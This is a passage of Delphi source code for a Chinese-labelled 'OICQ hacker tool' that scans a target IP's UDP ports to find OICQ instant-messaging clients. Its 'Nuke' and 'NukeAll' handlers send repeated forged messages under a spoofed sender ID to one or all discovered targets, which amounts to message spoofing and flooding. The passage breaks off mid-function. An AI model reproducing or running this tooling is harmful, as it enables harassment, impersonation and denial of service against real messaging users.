clonescan.pas

OICQ黑客工具。可以查看对方IP地址

unit CloneScan;
{$define DEBUGVERSION}
//{$define REDUCE_VERSION}
interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Spin, NMUDP, ExtCtrls, Menus,WinSock, ScktComp, ComCtrls;

type
  TPortScanParam=record
    dwID,sinAddr:DWORD;
    nStartPort,nStopPort,nStepPort:DWORD;
    nLoopCnt,nTimeOut:Integer;
    end;
  PPortScanParam=^TPortScanParam;
  TPortInfo=record
    nIndex:Integer;
    nPort:WORD;
    strUID:string;
    end;
  TCloneScanDlg = class(TForm)
    Label1: TLabel;
    edIPAddr: TEdit;
    Label2: TLabel;
    PortList: TListBox;
    btnStart: TButton;
    Label3: TLabel;
    Label4: TLabel;
    edStartPort: TSpinEdit;
    edStopPort: TSpinEdit;
    edTimes: TSpinEdit;
    edTimeOut: TSpinEdit;
    Label5: TLabel;
    Label6: TLabel;
    btnClose: TButton;
    PortUDP: TNMUDP;
    OutTimer: TTimer;
    Label7: TLabel;
    edSrcId: TEdit;
    btnNuke: TButton;
    btnNukeAll: TButton;
    ScanMenu: TPopupMenu;
    mClear: TMenuItem;
    mSave: TMenuItem;
    SaveDlg: TSaveDialog;
    Label8: TLabel;
    edThreadNum: TSpinEdit;
    btnPause: TButton;
    Label9: TLabel;
    lbTargetNumber: TLabel;
    ProgBar: TProgressBar;
    procedure PortUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure OutTimerTimer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure btnNukeClick(Sender: TObject);
    procedure btnNukeAllClick(Sender: TObject);
    procedure mClearClick(Sender: TObject);
    procedure mSaveClick(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure btnCloseClick(Sender: TObject);
    procedure PortListKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure btnStartClick(Sender: TObject);
    procedure btnPauseClick(Sender: TObject);
  private
    { Private declarations }
    info:array of TPortInfo;
    nInfoCnt:Integer;
//    nThreadId:LongWord;
    nScanCnt:Integer;
    nRunFlag:Integer;

    ListLock:TMultiReadExclusiveWriteSynchronizer;
    StatusLock:TMultiReadExclusiveWriteSynchronizer;
    
    function CheckInput:Boolean;
    function FindPortInfo(nPort:WORD):integer;

{$ifndef REDUCE_VERSION}
    function GetIdByIndex(index:Integer):string;
    function GetIpByIndex(index:Integer):string;
    function GetPortByIndex(Index:Integer):WORD;
{$endif}
    procedure DeletePortByIndex(Index:Integer);

    procedure ProcessReponse(buf:array of char;buflen:Integer;fromIp:string;fromPort:WORD);
//    procedure SendPackage;

    procedure ShutdownThread;

    procedure DoPortScan(sinAddr:DWORD;StartPort,EndPort:WORD;LoopCnt,TimeOut:DWORD);

//    function GetTimeOutOfPeer(ip:String):Integer;
    procedure ThreadPortScan;
  public
    { Public declarations }
    FSocket:TSocket;
    class procedure Execute(ip:string);
  end;
var
    CloneScanDlg:TCloneScanDlg;

implementation

{$R *.DFM}
uses data,info,NukeInfo, Main;
var
StopFlag:Boolean;
function ThreadScanFunc(p:Pointer):Integer;
var
param:PPortScanParam;
begin
param:=p;  
CloneScanDlg.DoPortScan(param^.sinAddr,param^.nStartPort,Param^.nStopPort,param^.nLoopCnt,param^.nTimeOut);
Dec(CloneScanDlg.nRunFlag);
if(CloneScanDlg.nRunFlag=0)then
    begin
    CloneScanDlg.btnStart.Enabled:=True;
    CloneScanDlg.btnPause.Enabled:=False;
    end;
FreeMem(p);
Result:=0;
end;
function  ScanFunc(p:Pointer):Integer;
var
buf:array [0..2048] of char;
fromaddr:TSockAddr;
fromlen:Integer;
buflen:Integer;
//RetCode:DWORD;
begin
while(not StopFlag)do
    begin
    ZeroMemory(@fromaddr,sizeof(fromaddr));
    fromlen:=SizeOf(fromaddr);
    buflen:=recvfrom(CloneScanDlg.FSocket,buf,2048,0,fromaddr,fromlen);
    if(buflen<>SOCKET_ERROR)then
        CloneScanDlg.ProcessReponse(buf,buflen,inet_ntoa(fromaddr.sin_addr),ntohs(fromaddr.sin_port));
{    else
        begin
        //if retcode=10054 remote host close connection
        //mean that ICMP DESTAINATION UNREACHEABLE
        RetCode:=GetLastError;
        end;}
    end;
Result:=0;
end;


function TCloneScanDlg.CheckInput: Boolean;
begin
result:=true;
end;

class procedure TCloneScanDlg.Execute(ip: string);
begin
if(CloneScanDlg<>nil)then
    begin
    CloneScanDlg.edIPAddr.Text:=ip;
    CloneScanDlg.Show
    end
else
    begin
    CloneScanDlg:=TCloneScanDlg.Create(Application);
    CloneScanDlg.edIPAddr.Text:=ip;
    CloneScanDlg.Show;
    end;
end;

procedure TCloneScanDlg.PortUDPDataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
var
buf:array [0..2048] of char;
len:Integer;
begin
PortUDP.ReadBuffer(buf,len);
if(len>10)then
    begin
    ProcessReponse(buf,len,FromIp,Port);
    end;
end;

procedure TCloneScanDlg.OutTimerTimer(Sender: TObject);
begin
{OutTimer.Enabled:=False;
ShutdownThread;
closesocket(FSocket);
btnStart.Enabled:=True;
lbStatus.caption:='扫描结果如下';}
end;

procedure TCloneScanDlg.FormCreate(Sender: TObject);
begin
nInfoCnt:=0;
ListLock:=TMultiReadExclusiveWriteSynchronizer.Create;
StatusLock:=TMultiReadExclusiveWriteSynchronizer.Create;
end;

function TCloneScanDlg.FindPortInfo(nPort: WORD): integer;
var
i:Integer;
begin
Result:=-1;
for i:=0 to nInfoCnt-1 do
    begin
    if(info[i].nPort=nPort)then
        begin
        Result:=i;
        break;
        end;
    end;
end;

procedure TCloneScanDlg.btnNukeClick(Sender: TObject);
{$ifndef REDUCE_VERSION}
var
SrcId,msg:String;
i,FaceNo,cnt:DWORD;
{$endif}
begin
{$ifndef REDUCE_VERSION}
if(PortList.Items.Count>0)then
    begin
    if(TNukeInfoDlg.Execute(SrcId,FaceNo,cnt,msg))then
        begin
        for i:=0 to cnt do
            begin
            SendFakeMsg(SrcId,IntToStr(FaceNo),GetIdByIndex(PortList.ItemIndex),
                GetIPByIndex(PortList.ItemIndex),GetPortByIndex(PortList.ItemIndex),msg,Date,Time);
            end;
        end;
    end
else
    begin
    ShowMessage('没有攻击对象！');
    end;
{$else}
ShowMessage('对不起！简版没有此功能');
{$endif}
end;

{$ifndef REDUCE_VERSION}
function TCloneScanDlg.GetIdByIndex(index: Integer): string;
var
i:Integer;
begin
for i:=0 to nInfoCnt-1 do
    begin
    if(info[i].nIndex=index)then
        begin
        Result:=info[i].strUID;
        Break;
        end;
    end;
end;

function TCloneScanDlg.GetIpByIndex(index: Integer): string;
begin
Result:=edIPAddr.Text;
end;

function TCloneScanDlg.GetPortByIndex(Index: Integer): WORD;
var
i:Integer;
begin
Result:=4000;
for i:=0 to nInfoCnt-1 do
    begin
    if(info[i].nIndex=index)then
        begin
        Result:=info[i].nPort;
        Break;
        end;
    end;
end;
{$endif}
procedure TCloneScanDlg.btnNukeAllClick(Sender: TObject);
{$ifndef REDUCE_VERSION}
var
SrcId,msg:String;
i,j,FaceNo,cnt:DWORD;
{$endif}
begin
{$ifndef REDUCE_VERSION}
if(TNukeInfoDlg.Execute(SrcId,FaceNo,cnt,msg))then
    begin
    for i:=0 to nInfoCnt-1 do
        begin
        for j:=0 to cnt do
            begin
            SendFakeMsg(SrcId,IntToStr(FaceNo),info[i].strUID,
                edIPAddr.Text,info[i].nPort,msg,Date,Time);
            end;
        end;
    end;
{$else}
ShowMessage('对不起！简版没有此功能.');
{$endif}
end;

procedure TCloneScanDlg.mClearClick(Sender: TObject);
begin
PortList.Clear;
SetLength(info,0);
nInfoCnt:=0;
lbTargetNumber.Caption:='0';
end;

procedure TCloneScanDlg.mSaveClick(Sender: TObject);
begin
if(SaveDlg.Execute)then
    begin
    if(Sender is TMenuItem)then
        (